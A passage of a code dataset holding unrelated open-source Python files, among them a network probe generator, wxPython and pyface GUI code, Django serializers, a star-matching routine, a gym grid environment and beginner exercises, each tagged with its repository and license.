query.get_tmy_path(topo_class):\n src_node = tmy_path[0]\n tmy_path_len = len(tmy_path)\n pre_fwd_path = nx.shortest_path(topology, 0, src_node)\n mid_fwd_path = [src_node]\n before_pos_fwd_path = nx.shortest_path(topology, src_node, 0)\n for i in xrange(1, tmy_path_len):\n mid_fwd_path.append(tmy_path[i])\n now_pos_fwd_path = nx.shortest_path(topology, tmy_path[i], 0)\n if len(mid_fwd_path) > k_tele or len(pre_fwd_path) + len(mid_fwd_path) + len(now_pos_fwd_path) - 2 > k_fwd:\n pre_fwd_path.pop()\n src_node = mid_fwd_path.pop()\n before_pos_fwd_path.pop(0)\n full_fwd_path = []\n full_fwd_path.extend(pre_fwd_path)\n full_fwd_path.extend(mid_fwd_path)\n full_fwd_path.extend(before_pos_fwd_path)\n # print full_fwd_path\n fwd_label_list = transform_fwd_path_to_fwd_label_list(topo_class, full_fwd_path)\n tmy_label_list = [(node, bitmap) for node in mid_fwd_path]\n probe_pkt = assemble_probe(fwd_label_list, tmy_label_list)\n probe_set.add(probe_pkt)\n mid_fwd_path = [src_node]\n pre_fwd_path = nx.shortest_path(topology, 0, src_node)\n before_pos_fwd_path = now_pos_fwd_path\n if mid_fwd_path:\n pre_fwd_path.pop()\n before_pos_fwd_path.pop(0)\n full_fwd_path = []\n full_fwd_path.extend(pre_fwd_path)\n full_fwd_path.extend(mid_fwd_path)\n full_fwd_path.extend(before_pos_fwd_path)\n # print full_fwd_path\n fwd_label_list = transform_fwd_path_to_fwd_label_list(topo_class, full_fwd_path)\n tmy_label_list = [(node, bitmap) for node in mid_fwd_path]\n probe_pkt = assemble_probe(fwd_label_list, tmy_label_list)\n probe_set.add(probe_pkt)\n query_probe_list.append(probe_set)\n return query_probe_list\n", "source": "liuzhengzheng12/probe_generation_algorithm", "license": "MIT"} {"text": "import datetime\n\nimport wx\nimport wx.adv\n\nclass InputPanel(wx.Panel):\n def __init__(self, parent):\n wx.Panel.__init__(self, parent)\n self._init_controls()\n self._init_sizers()\n\n def _init_controls(self):\n self.timepicker_arrive = TimePicker(self)\n self.timepicker_leave = TimePicker(self, type_arrive=False)\n\n self.company_cbox = wx.ComboBox(self, choices=[\"eso\", \"CREADIS\"])\n\n self.task_description = wx.TextCtrl(self, size=(200,-1))\n\n def _init_sizers(self):\n main_sizer = wx.BoxSizer(wx.HORIZONTAL)\n main_sizer.Add(self.timepicker_arrive, 0, wx.RIGHT, 5)\n main_sizer.Add(self.timepicker_leave, 0, wx.RIGHT, 5)\n main_sizer.Add(self.company_cbox, 0, wx.RIGHT, 5)\n main_sizer.Add(self.task_description, 1)\n self.SetSizerAndFit(main_sizer)\n\n\nclass TimePicker(wx.Panel):\n def __init__(self, parent, initial=datetime.time(8), type_arrive=True):\n wx.Panel.__init__(self, parent, style=wx.BORDER_NONE)\n self.time = initial\n self.type_arrive = type_arrive\n self._build()\n\n def _build(self):\n if self.type_arrive:\n path = 'img/arrow_arrive.png'\n else:\n path = 'img/arrow_leave.png'\n bmp = wx.Bitmap(path, wx.BITMAP_TYPE_PNG)\n self.arrow = wx.StaticBitmap(self, bitmap=bmp, size=(-1, 20))\n self.hour_field = wx.TextCtrl(self, value=self.time.strftime('%H'), size=(25, -1))\n self.minute_field = wx.TextCtrl(self, value=self.time.strftime('%M'), size=(25, -1))\n self.separator = wx.StaticText(self, label=':')\n\n main_sizer = wx.BoxSizer(wx.HORIZONTAL)\n main_sizer.Add(self.arrow, 0, wx.ALIGN_CENTER_VERTICAL | wx.RIGHT, 3)\n main_sizer.Add(self.hour_field, 0)\n main_sizer.Add(self.separator, 0, wx.LEFT | wx.RIGHT | wx.ALIGN_CENTER_VERTICAL, 3)\n main_sizer.Add(self.minute_field, 0)\n self.SetSizerAndFit(main_sizer)\n", "source": "Tabascl/TimeCapture", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom base import BaseHandler\n\nfrom order import get_order\n\nimport sys\nsys.path.append('..')\nfrom models.user import User\nfrom models.card import Card\nfrom models.article import Article\n\n\nclass CardHandler(BaseHandler):\n def get(self):\n uname = self.get_current_user()\n user = User.get_user_by_name(uname)\n order = get_order()\n card = Card.get_by_porder(order)\n cid = self.get_argument(\"cid\",None)\n if cid is not None:\n card=Card.get_by_cid(cid)\n article = Article.get_all_Acard(200)\n usedCard = Card.get_all_card()\n temp = []\n for one in usedCard:\n if 0 < one.porder and one.porder <= order:\n temp.append(one)\n usedCard = temp\n reArticles = Article.get_all(200)\n Rarticle = sorted(reArticles,BaseHandler.rank)\n if len(Rarticle) > 6:\n Rarticle = Rarticle[:6]\n Ruser = User.get_all_user(100)\n if len(Ruser)>9:\n Ruser = Ruser[:9]\n if len(usedCard)>3:\n usedCard = usedCard[:3]\n self.render(\"card.html\",user=user,Rarticle=Rarticle,Article=article,usedCard=usedCard,Ruser=Ruser,card=card)\n\n\n\n\nclass WcardHandler(BaseHandler):\n def get(self):\n uname = self.get_current_user()\n user = User.get_user_by_name(uname)\n if len(user)>0:\n self.render(\"wcard.html\",user=user,msg=\"\")\n else: \n self.redirect(\"/login\")\n\n def post(self):\n uname = self.get_current_user()\n user = User.get_user_by_name(uname)\n main = self.get_argument(\"main\")\n pic = \"default.jpg\"\n Card.add_one_card(pic,user[0].uid,main)\n self.render(\"wcard.html\", msg=\"\u6295\u7a3f\u6210\u529f\uff0c\u8c22\u8c22\u4f60\u7684idea\",user=user)", "source": "oujiaqi/suiyue", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8; py-indent-offset:4 -*-\n###############################################################################\n#\n# Copyright (C) 2015, 2016, 2017 Daniel Rodriguez\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n###############################################################################\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport uuid\n\nfrom .. import Observer\nfrom ..utils.py3 import with_metaclass\n\nfrom ..trade import Trade\n\n\nclass Trades(Observer):\n '''This observer keeps track of full trades and plot the PnL level achieved\n when a trade is closed.\n\n A trade is open when a position goes from 0 (or crossing over 0) to X and\n is then closed when it goes back to 0 (or crosses over 0 in the opposite\n direction)\n\n Params: None\n '''\n _stclock = True\n\n lines = ('pnlplus', 'pnlminus')\n\n plotinfo = dict(plot=True, subplot=True,\n plotname='Trades - Net Profit/Loss',\n plotymargin=0.10,\n plothlines=[0.0])\n\n plotlines = dict(\n pnlplus=dict(_name='Positive',\n ls='', marker='o', color='blue',\n markersize=8.0, fillstyle='full'),\n pnlminus=dict(_name='Negative',\n ls='', marker='o', color='red',\n markersize=8.0, fillstyle='full')\n )\n\n def __init__(self):\n\n self.trades = 0\n\n self.trades_long = 0\n self.trades_short = 0\n\n self.trades_plus = 0\n self.trades_minus = 0\n\n self.trades_plus_gross = 0\n self.trades_minus_gross = 0\n\n self.trades_win = 0\n self.trades_win_max = 0\n self.trades_win_min = 0\n\n self.trades_loss = 0\n self.trades_loss_max = 0\n self.trades_loss_min = 0\n\n self.trades_length = 0\n self.trades_length_max = 0\n self.trades_length_min = 0\n\n def next(self):\n for trade in self._owner._tradespending:\n if trade.data not in self.datas:\n continue\n\n if not trade.isclosed:\n continue\n\n if trade.pnl >= 0:\n self.lines.pnlplus[0] = trade.pnl\n else:\n self.lines.pnlminus[0] = trade.pnl\n\n\nclass MetaDataTrades(Observer.__class__):\n def donew(cls, *args, **kwargs):\n _obj, args, kwargs = super(MetaDataTrades, cls).donew(*args, **kwargs)\n\n # Recreate the lines dynamically\n if _obj.params.usenames:\n lnames = tuple(x._name for x in _obj.datas)\n else:\n lnames = tuple('data{}'.format(x) for x in range(len(_obj.datas)))\n\n # Generate a new lines class\n linescls = cls.lines._derive(uuid.uuid4().hex, lnames, 0, ())\n\n # Instantiate lines\n _obj.lines = linescls()\n\n # Generate plotlines info\n markers = ['o', 'v', '^', '<', '>', '1', '2', '3', '4', '8', 's', 'p',\n '*', 'h', 'H', '+', 'x', 'D', 'd']\n\n colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k', 'b', 'g', 'r', 'c', 'm',\n 'y', 'k', 'b', 'g', 'r', 'c', 'm']\n\n basedict = dict(ls='', markersize=8.0, fillstyle='full')\n\n plines = dict()\n for lname, marker, color in zip(lnames, markers, colors):\n plines[lname] = d = basedict.copy()\n d.update(marker=marker, color=color)\n\n plotlines = cls.plotlines._derive(\n uuid.uuid4().hex, plines, [], recurse=True)\n _obj.plotlines = plotlines()\n\n return _obj, args, kwargs # return the instantiated object and args\n\n\nclass DataTrades(with_metaclass(MetaDataTrades, Observer)):\n _stclock = True\n\n params = (('usenames', True),)\n\n plotinfo = dict(plot=True, subplot=True, plothlines=[0.0],\n plotymargin=0.10)\n\n plotlines = dict()\n\n def next(self):\n for trade in self._owner._tradespending:\n if trade.data not in self.datas:\n continue\n\n if not trade.isclosed:\n continue\n\n self.lines[trade.data._id - 1][0] = trade.pnl\n", "source": "harshabakku/live-back-testing-trader", "license": "MIT"} {"text": "# Sorteando um n\u00famero de 0 a 100 e dizendo se ele \u00e9 primo ou n\u00e3o\n\nfrom random import randint\nnum = randint(0, 100) # int(input('Digite um n\u00famero: '))\nprint(f'Numero sorteado foi {num}')\nfor n in range(num-1, num, num):\n if num % 2 == 0 and num != 2 or num % 3 == 0 and num != 3:\n print('N\u00e3o \u00e9 primo.')\n elif num / 1 and num / num:\n print('\u00c9 primo')\n", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"} {"text": "# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for kbs_server_helper's python cliff library.\"\"\"\n\nfrom research.carls import kbs_server_helper_pybind as kbs_server_helper\n\nimport tensorflow as tf\n\n\nclass KbsServerHelperTest(tf.test.TestCase):\n\n def testKnowledgeBankServiceOptions(self):\n options = kbs_server_helper.KnowledgeBankServiceOptions(True, 200, 10)\n self.assertTrue(options.run_locally)\n self.assertEqual(200, options.port)\n self.assertEqual(10, options.num_threads)\n\n def testKbsServerHelper(self):\n options = kbs_server_helper.KnowledgeBankServiceOptions(True, -1, 10)\n server = kbs_server_helper.KbsServerHelper(options)\n self.assertNotEqual('', server.address())\n server.Terminate()\n\n\nif __name__ == '__main__':\n tf.test.main()\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"} {"text": "import numpy as np\nimport pytest\n\nfrom artssat.scattering.psd.data.psd_data import Mass\nfrom artssat.scattering.psd.modified_gamma import ModifiedGamma\n\n################################################################################\n# Fixtures\n################################################################################\n\n@pytest.fixture(scope = \"module\")\ndef random_mgd_psd():\n \"\"\"\n Generates a random instance of the modified gamma distribution.\n \"\"\"\n n = 10.0 ** np.random.uniform(5, 8, size = (10, 1))\n alpha = np.random.uniform(1, 3, size = (10, 1))\n lmbd = np.random.uniform(1, 3, size = (10, 1))\n nu = np.random.uniform(1, 3, size = (10, 1))\n return ModifiedGamma(Mass(), n, alpha, lmbd, nu)\n\n################################################################################\n# Tests\n################################################################################\n\ndef test_moments(random_mgd_psd):\n \"\"\"\n Tests the implementation of the modified gamma distribution by computing\n the first two moments once using the analytic formulas and once using\n numeric PSDData.\n \"\"\"\n\n psd = random_mgd_psd\n\n x = np.logspace(-4, 2, 100000)\n psd_data = psd.evaluate(x)\n\n m0 = psd.get_moment(0)\n m0_ref = psd_data.get_moment(0)\n\n assert np.all(np.isclose(m0, m0_ref))\n\n m1 = psd.get_moment(1)\n m1_ref = psd_data.get_moment(1)\n\n assert np.all(np.isclose(m1, m1_ref))\n\n m2 = psd.get_moment(2)\n m2_ref = psd_data.get_moment(2)\n\n assert np.all(np.isclose(m2, m2_ref))\n\n m = psd.get_mass_density()\n m_ref = psd_data.get_mass_density()\n\n assert np.all(np.isclose(m, m_ref))\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "\"\"\"\n match two list of stars, provided by ra/dec degree\n\"\"\"\n\nimport numpy as np\nimport scipy.stats as ss\n\n\ndef star_match ( list_a, list_b, a_ra, a_dec, b_ra, b_dec, a_mag=-1, b_mag=-1,\n dis_limit=0.002, mag_limit=-3, allow_dup=False ) :\n \"\"\"match two list\n :param list_a: list a of stars, each item is a star, stars as list with property\n :param list_b: list b of stars\n :param a_ra: ra field index in list a\n :param a_dec: dec field index in list a\n :param b_ra: ra field index in list b\n :param b_dec: dec field index in list b\n :param a_mag: mag field index in list a, -1 means no mag, default is -1\n :param b_mag: mag field index in list a, -1 means no mag, default is -1\n :param dis_limit: distance limit when matching, default is 0.002 deg, 7.2 arcsec\n :param mag_limit: mag difference when checking, 0 means no check,\n minus means times of sigma, positive is mag difference, default is -3\n :param allow_dup: allow duplicate mapping or not, default is False\n :returns: 3 items tuple, index of a, index of b, distance\n \"\"\"\n\n len_a = len(list_a)\n len_b = len(list_b)\n\n ra_a = np.array([k[a_ra] for k in list_a])\n dec_a = np.array([k[a_dec] for k in list_a])\n ra_b = np.array([k[b_ra] for k in list_b])\n dec_b = np.array([k[b_dec] for k in list_b])\n if a_mag >= 0 :\n mag_a = np.array([k[a_mag] for k in list_a])\n else :\n mag_a = np.zeros(len_a)\n if b_mag >= 0 :\n mag_b = np.array([k[b_mag] for k in list_b])\n else :\n mag_b = np.zeros(len_b)\n\n ra_scale = np.cos(np.median(dec_a) / 180.0 * np.pi)\n\n ix_a = np.argsort(dec_a)\n ix_b = np.argsort(dec_b)\n\n out_a , out_b = [] , []\n #dis_ra, dis_dec = [], [] #dis_ra/dec only used for debug, test residual\n dis_ab = []\n pbf = pbt = 0 # point b from/to\n for pa in range(len_a) :\n ix_pa = ix_a[pa]\n ra_p, dec_p = ra_a[ix_pa], dec_a[ix_pa]\n # pb walk down to first position [pbf]>=[pa]-dis, [pbt]>=[pa]+dis\n while pbf < len_b and dec_b[ix_b[pbf]] < dec_p - dis_limit : pbf += 1\n while pbt < len_b and dec_b[ix_b[pbt]] < dec_p + dis_limit : pbt += 1\n # exit if p2f runout\n if pbf >= len_b : break\n # skip if no near star\n if pbt - pbf < 1 : continue\n # check real distance, include ra\n for ix_pb in ix_b[range(pbf, pbt)] :\n d_ra = ra_p - ra_b[ix_pb]\n d_dec = dec_p - dec_b[ix_pb]\n dis = np.sqrt((d_ra * ra_scale) ** 2 + d_dec ** 2)\n if dis < dis_limit :\n out_a.append(ix_pa)\n out_b.append(ix_pb)\n #dis_ra.append(d_ra)\n #dis_dec.append(d_dec)\n dis_ab.append(dis)\n \n out_a = np.array(out_a)\n out_b = np.array(out_b)\n #dis_ra = np.array(dis_ra)\n #dis_dec = np.array(dis_dec)\n dis_ab = np.array(dis_ab)\n\n if a_mag >= 0 and b_mag >= 0 and mag_limit != 0 :\n # mag difference limit check\n mag_diff = mag_a[out_a] - mag_b[out_b]\n if mag_limit < 0 :\n mag_diff_clip, ml, mh = ss.sigmaclip(mag_diff, 3, 3)\n std = mag_diff_clip.std()\n mea = mag_diff_clip.mean()\n mag_limit_x = - std * mag_limit\n else :\n mea = mag_diff.mean()\n mag_limit_x = mag_limit\n ix_m = np.where(np.abs(mag_diff - mea) < mag_limit_x)\n out_a = out_a[ix_m]\n out_b = out_b[ix_m]\n dis_ab = dis_ab[ix_m]\n \n if not allow_dup :\n ix_keep = []\n uq_a = np.unique(out_a)\n for u in uq_a :\n ix_dup = np.where(out_a == u)\n ix_min = ix_dup[0][ dis_ab[ix_dup].argmin() ]\n ix_keep.append(ix_min)\n out_a = out_a[ix_keep]\n out_b = out_b[ix_keep]\n dis_ab = dis_ab[ix_keep]\n \n ix_keep = []\n uq_b = np.unique(out_b)\n for u in uq_b :\n ix_dup = np.where(out_b == u)\n ix_min = ix_dup[0][ dis_ab[ix_dup].argmin() ]\n ix_keep.append(ix_min)\n out_a = out_a[ix_keep]\n out_b = out_b[ix_keep]\n dis_ab = dis_ab[ix_keep]\n \n\n return (out_a, out_b, dis_ab)\n", "source": "RapidLzj/201603", "license": "Apache-2.0"} {"text": "from django.contrib.auth.models import User\nfrom rest_framework import serializers\nfrom api_v1.models import Bucketlist, BucketlistItem\nfrom django.core.validators import validate_email\nfrom django.core.exceptions import ValidationError\n\n\nclass UserSerializer(serializers.ModelSerializer):\n email = serializers.EmailField(max_length=100, required=True)\n username = serializers.CharField(max_length=100, required=True)\n password = serializers.CharField(max_length=100,\n style={'input_type': 'password'},\n required=True, write_only=True)\n\n def validate(self, data):\n try:\n validate_email(data['email'])\n return data\n except ValidationError:\n raise serializers.ValidationError('The email is invalid.')\n\n class Meta:\n model = User\n fields = ('username', 'email', 'password')\n\nclass BucketlistItemSerializer(serializers.ModelSerializer):\n item_name = serializers.CharField(max_length=100)\n\n def validate(self, data):\n \"\"\"Ensure item_name is not empty.\"\"\"\n if data['item_name'] == '':\n raise serializers.ValidationError('Item name can not be empty.')\n return data\n\n class Meta:\n model = BucketlistItem\n fields = ('id', 'item_name', 'done', 'created_by',\n 'date_created', 'date_modified')\n\n\nclass BucketlistSerializer(serializers.ModelSerializer):\n items = BucketlistItemSerializer(many=True, read_only=True)\n list_name = serializers.CharField(max_length=100)\n\n def validate(self, data):\n \"\"\"Ensure list_name is not equal.\"\"\"\n if data['list_name'] == '':\n raise serializers.ValidationError('List name can not be empty.')\n return data\n\n class Meta:\n model = Bucketlist\n fields = ('id', 'list_name', 'created_by', 'date_created', 'date_modified',\n 'items')\n", "source": "mrkiura/yolo", "license": "Unlicense"} {"text": "# Exerc\u00edcio Python 109:\r\n# Modifique as fun\u00e7\u00f5es que form criadas no desafio 107 para que elas aceitem um par\u00e2metro a mais,\r\n# informando se o valor retornado por elas vai ser ou n\u00e3o formatado pela fun\u00e7\u00e3o moeda(), desenvolvida no desafio 108.\r\n\r\ndef moeda(valor):\r\n return f\"R${valor:.2f}\"\r\n\r\n\r\ndef metade(numero, real=True):\r\n if real:\r\n return moeda(numero/2)\r\n elif not real:\r\n return numero / 2\r\n\r\n\r\ndef dobro(numero, real=True):\r\n if real:\r\n return moeda(numero * 2)\r\n elif not real:\r\n return numero * 2\r\n\r\n\r\ndef aumentar(valor, porcentagem, real=True):\r\n if real:\r\n return moeda(valor * (100 + porcentagem)/100)\r\n elif not real:\r\n return valor * (100 + porcentagem)/100\r\n\r\n\r\ndef diminuir(valor, porcentagem, real=True):\r\n if real:\r\n return moeda(valor * (100 - porcentagem)/100)\r\n elif not real:\r\n return valor * (100 - porcentagem)/100\r\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"} {"text": "#!/usr/bin/env python\n\ndef download_outputs(path_prefix, creds_path, bucket_name, qap_type, \\\n download_to):\n \n import pickle\n from indi_aws import fetch_creds\n from indi_aws.aws_utils import s3_download\n\n src_list = []\n\n bucket = fetch_creds.return_bucket(creds_path, bucket_name)\n\n\n if qap_type == \"anat_spatial\":\n search_for = \"anatomical_spatial\"\n elif qap_type == \"func_spatial\":\n search_for = \"functional_spatial\"\n elif qap_type == \"func_temporal\":\n search_for = \"functional_temporal\"\n\n\n for k in bucket.list(prefix=path_prefix):\n\n k_name = str(k.name)\n \n if (search_for in k_name) and (\".csv\" in k_name):\n \n src_list.append(k_name)\n \n \n s3_download(bucket, src_list, download_to)\n \n \n\ndef main():\n\n import argparse\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"path_prefix\", type=str, \\\n help=\"path to the directory on your S3 bucket \" \\\n \"containing the subject output directories\")\n\n parser.add_argument(\"creds_path\", type=str, \\\n help=\"path to file containing your AWS \" \\\n \"credential keys\")\n \n parser.add_argument(\"bucket_name\", type=str, \\\n help=\"name of your S3 bucket\")\n \n parser.add_argument(\"qap_type\", type=str, \\\n help=\"'anat_spatial', 'func_spatial', or 'func_\" \\\n \"temporal', which type of QAP measures out\" \\\n \"put you wish to download\")\n \n parser.add_argument(\"download_to\", type=str, \\\n help=\"full path to where you want to save the \" \\\n \"downloaded output CSV files\")\n\n args = parser.parse_args()\n\n # run it!\n download_outputs(args.path_prefix, args.creds_path, args.bucket_name, \\\n args.qap_type, args.download_to)\n\n\n\nif __name__ == \"__main__\":\n main()\n \n \n", "source": "manwithadodla/quality-assessment-protocol", "license": "BSD-3-Clause"} {"text": "import numpy as np\nimport gym\nimport time\nfrom gym import error, spaces\nfrom gym import core, spaces\nfrom gym.envs.registration import register\nimport random\n\nfrom baselines.ecbp.env import rendering\n\n# resultList = random.sample(range(15, 300 + 15), 104)\n\n\nclass Tworooms(gym.Env):\n # metadata = {'render.modes':['human']}\n def __init__(self):\n layout = \"\"\"\\\n1111111111111\n1 1\n1 1\n1 1\n1 1\n1 1\n1222222222331\n1 1\n1 1\n1 1\n1 1\n1 1\n1111111111111\n\"\"\"\n d = {'0':0,'1':1,'2':2,'3':3}\n self.occupancy = np.array([list(map(lambda c: d.get(c,0), line)) for line in layout.splitlines()])\n print(self.occupancy)\n self.row_num,self.col_num = self.occupancy.shape\n # From any state the agent can perform one of four actions, up, down, left or right\n self.action_space = spaces.Discrete(4)\n self.space_capacity = np.sum(self.occupancy == 0)\n self.observation_space = spaces.Box(np.zeros(self.space_capacity),np.ones(self.space_capacity))\n\n self.directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n # self.rng = np.random.RandomState(1234)\n\n self.tostate = {}\n self.semantics = dict()\n statenum = 0\n for i in range(self.row_num):\n for j in range(self.col_num):\n if self.occupancy[i, j] == 0:\n self.tostate[(i, j)] = statenum\n statenum += 1\n self.tocell = {v: k for k, v in self.tostate.items()}\n\n self.goal = 0\n\n self.init_states = list(range(int(self.space_capacity)))\n self.init_states.remove(self.goal)\n # random encode\n self.num_state = 0\n self.cell_state = self.tocell[self.num_state]\n self.max_step = 100\n self.num_steps = 0\n\n self.block_size = 20\n\n self.viewer = rendering.Viewer(self.block_size * len(self.occupancy), self.block_size * len(self.occupancy[0]))\n\n self.blocks = self.make_blocks()\n\n def set_state(self,s):\n self.num_state = s\n self.cell_state = self.tocell[self.num_state]\n\n def reset(self):\n self.num_state = np.random.choice(self.init_states)\n self.cell_state = self.tocell[self.num_state]\n self.num_steps = 0\n return self.one_hot(self.num_state)\n\n def one_hot(self,x):\n assert 0<= x < self.space_capacity\n state = np.zeros(self.space_capacity)\n state[x] = 1\n return state\n\n def step(self, action):\n assert 0 <= action < 4\n self.num_steps+=1\n self.move(action)\n reward = 0\n if self.occupancy[self.cell_state] == 2:\n reward = -10\n if self.occupancy[self.cell_state] >= 2:\n self.move(action)\n\n self.num_state = self.tostate[self.cell_state]\n if self.num_state == self.goal:\n reward= 1\n done = (self.num_steps>=self.max_step) or (self.num_state == self.goal)\n return self.one_hot(self.num_state),reward,done,None\n\n def move(self,action):\n x = self.cell_state[0]+self.directions[action][0]\n y = self.cell_state[1]+self.directions[action][1]\n if self.occupancy[x][y] ==1:\n return\n else:\n self.cell_state = (x,y)\n\n def add_block(self, x, y, color):\n size = self.block_size\n v = [[x * size, y * size], [x * size, (y + 1) * size], [(x + 1) * size, (y + 1) * size],\n [(x + 1) * size, y * size]]\n\n geom = rendering.make_polygon(v, filled=True)\n\n r, g, b = color\n geom.set_color(r, g, b)\n self.viewer.add_onetime(geom)\n\n def make_blocks(self):\n blocks = []\n size = self.block_size\n for i, row in enumerate(self.occupancy):\n for j, o in enumerate(row):\n if o == 1 or o == 2:\n v = [[j * size, i * size], [j * size, (i + 1) * size], [(j + 1) * size, (i + 1) * size],\n [(j + 1) * size, (i) * size]]\n\n geom = rendering.make_polygon(v, filled=True)\n\n if o == 1:\n geom.set_color(0, 0, 0)\n elif o == 2:\n geom.set_color(0, 0, 0)\n blocks.append(geom)\n self.viewer.add_geom(geom)\n return blocks\n\n def render(self,mode=0):\n if self.cell_state[0] > 0:\n x, y = self.cell_state\n self.add_block(x, y, (0, 0, 1))\n\n x, y = self.tocell[self.goal]\n self.add_block(x, y, (1, 0, 0))\n # self.viewer.\n self.viewer.render(return_rgb_array=True)\n return\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "# Copyright (c) 2005-18, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n#\n# Thanks for using Enthought open source!\n\"\"\" Enthought pyface package component\n\"\"\"\n\n# Major package imports.\nimport wx\n\n# Enthought library imports.\nfrom traits.api import Event, Property, Tuple, Unicode, VetoableEvent, provides\n\n# Local imports.\nfrom pyface.i_window import IWindow, MWindow\nfrom pyface.key_pressed_event import KeyPressedEvent\nfrom .system_metrics import SystemMetrics\nfrom .widget import Widget\n\n\n@provides(IWindow)\nclass Window(MWindow, Widget):\n \"\"\" The toolkit specific implementation of a Window. See the IWindow\n interface for the API documentation.\n \"\"\"\n\n # 'IWindow' interface -----------------------------------------------------\n\n position = Property(Tuple)\n\n size = Property(Tuple)\n\n title = Unicode\n\n # Window Events ----------------------------------------------------------\n\n #: The window has been opened.\n opened = Event\n\n #: The window is about to open.\n opening = VetoableEvent\n\n #: The window has been activated.\n activated = Event\n\n #: The window has been closed.\n closed = Event\n\n #: The window is about to be closed.\n closing = VetoableEvent\n\n #: The window has been deactivated.\n deactivated = Event\n\n #: A key was pressed while the window had focus.\n # FIXME v3: This smells of a hack. What's so special about key presses?\n # FIXME v3: Unicode\n key_pressed = Event(KeyPressedEvent)\n\n # Private interface ------------------------------------------------------\n\n # Shadow trait for position.\n _position = Tuple((-1, -1))\n\n # Shadow trait for size.\n _size = Tuple((-1, -1))\n\n # -------------------------------------------------------------------------\n # 'IWindow' interface.\n # -------------------------------------------------------------------------\n\n def activate(self):\n self.control.Iconize(False)\n self.control.Raise()\n\n def show(self, visible):\n self.control.Show(visible)\n\n # -------------------------------------------------------------------------\n # Protected 'IWindow' interface.\n # -------------------------------------------------------------------------\n\n def _add_event_listeners(self):\n self.control.Bind(wx.EVT_ACTIVATE, self._wx_on_activate)\n self.control.Bind(wx.EVT_SHOW, self._wx_on_show)\n self.control.Bind(wx.EVT_CLOSE, self._wx_on_close)\n self.control.Bind(wx.EVT_SIZE, self._wx_on_control_size)\n self.control.Bind(wx.EVT_MOVE, self._wx_on_control_move)\n self.control.Bind(wx.EVT_CHAR, self._wx_on_char)\n\n # -------------------------------------------------------------------------\n # Protected 'IWidget' interface.\n # -------------------------------------------------------------------------\n\n def _create_control(self, parent):\n # create a basic window control\n\n style = wx.DEFAULT_FRAME_STYLE \\\n | wx.FRAME_NO_WINDOW_MENU \\\n | wx.CLIP_CHILDREN\n control = wx.Frame(\n parent,\n -1,\n self.title,\n style=style,\n size=self.size,\n pos=self.position\n )\n control.SetBackgroundColour(SystemMetrics().dialog_background_color)\n control.Enable(self.enabled)\n\n # XXX starting with self.visible true is generally a bad idea\n control.Show(self.visible)\n\n return control\n\n # -------------------------------------------------------------------------\n # Private interface.\n # -------------------------------------------------------------------------\n\n def _get_position(self):\n \"\"\" Property getter for position. \"\"\"\n\n return self._position\n\n def _set_position(self, position):\n \"\"\" Property setter for position. \"\"\"\n\n if self.control is not None:\n self.control.SetPosition(position)\n\n old = self._position\n self._position = position\n\n self.trait_property_changed('position', old, position)\n\n def _get_size(self):\n \"\"\" Property getter for size. \"\"\"\n\n return self._size\n\n def _set_size(self, size):\n \"\"\" Property setter for size. \"\"\"\n\n if self.control is not None:\n self.control.SetSize(size)\n\n old = self._size\n self._size = size\n\n self.trait_property_changed('size', old, size)\n\n def _title_changed(self, title):\n \"\"\" Static trait change handler. \"\"\"\n\n if self.control is not None:\n self.control.SetTitle(title)\n\n # wx event handlers ------------------------------------------------------\n\n def _wx_on_activate(self, event):\n \"\"\" Called when the frame is being activated or deactivated. \"\"\"\n\n if event.GetActive():\n self.activated = self\n else:\n self.deactivated = self\n\n event.Skip()\n\n def _wx_on_show(self, event):\n \"\"\" Called when the frame is being activated or deactivated. \"\"\"\n\n self.visible = event.IsShown()\n\n event.Skip()\n\n def _wx_on_close(self, event):\n \"\"\" Called when the frame is being closed. \"\"\"\n\n self.close()\n\n def _wx_on_control_move(self, event):\n \"\"\" Called when the window is resized. \"\"\"\n\n # Get the real position and set the trait without performing\n # notification.\n\n # WXBUG - From the API documentation you would think that you could\n # call event.GetPosition directly, but that would be wrong. The pixel\n # reported by that call is the pixel just below the window menu and\n # just right of the Windows-drawn border.\n self._position = event.GetEventObject().GetPositionTuple()\n\n event.Skip()\n\n def _wx_on_control_size(self, event):\n \"\"\" Called when the window is resized. \"\"\"\n\n # Get the new size and set the shadow trait without performing\n # notification.\n wxsize = event.GetSize()\n\n self._size = (wxsize.GetWidth(), wxsize.GetHeight())\n\n event.Skip()\n\n def _wx_on_char(self, event):\n \"\"\" Called when a key is pressed when the tree has focus. \"\"\"\n\n self.key_pressed = KeyPressedEvent(\n alt_down=event.m_altDown == 1,\n control_down=event.m_controlDown == 1,\n shift_down=event.m_shiftDown == 1,\n key_code=event.m_keyCode,\n event=event\n )\n\n event.Skip()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import numpy as np\n\nclass get_batch():\n def __init__(self, data, batch_size=32):\n self.data 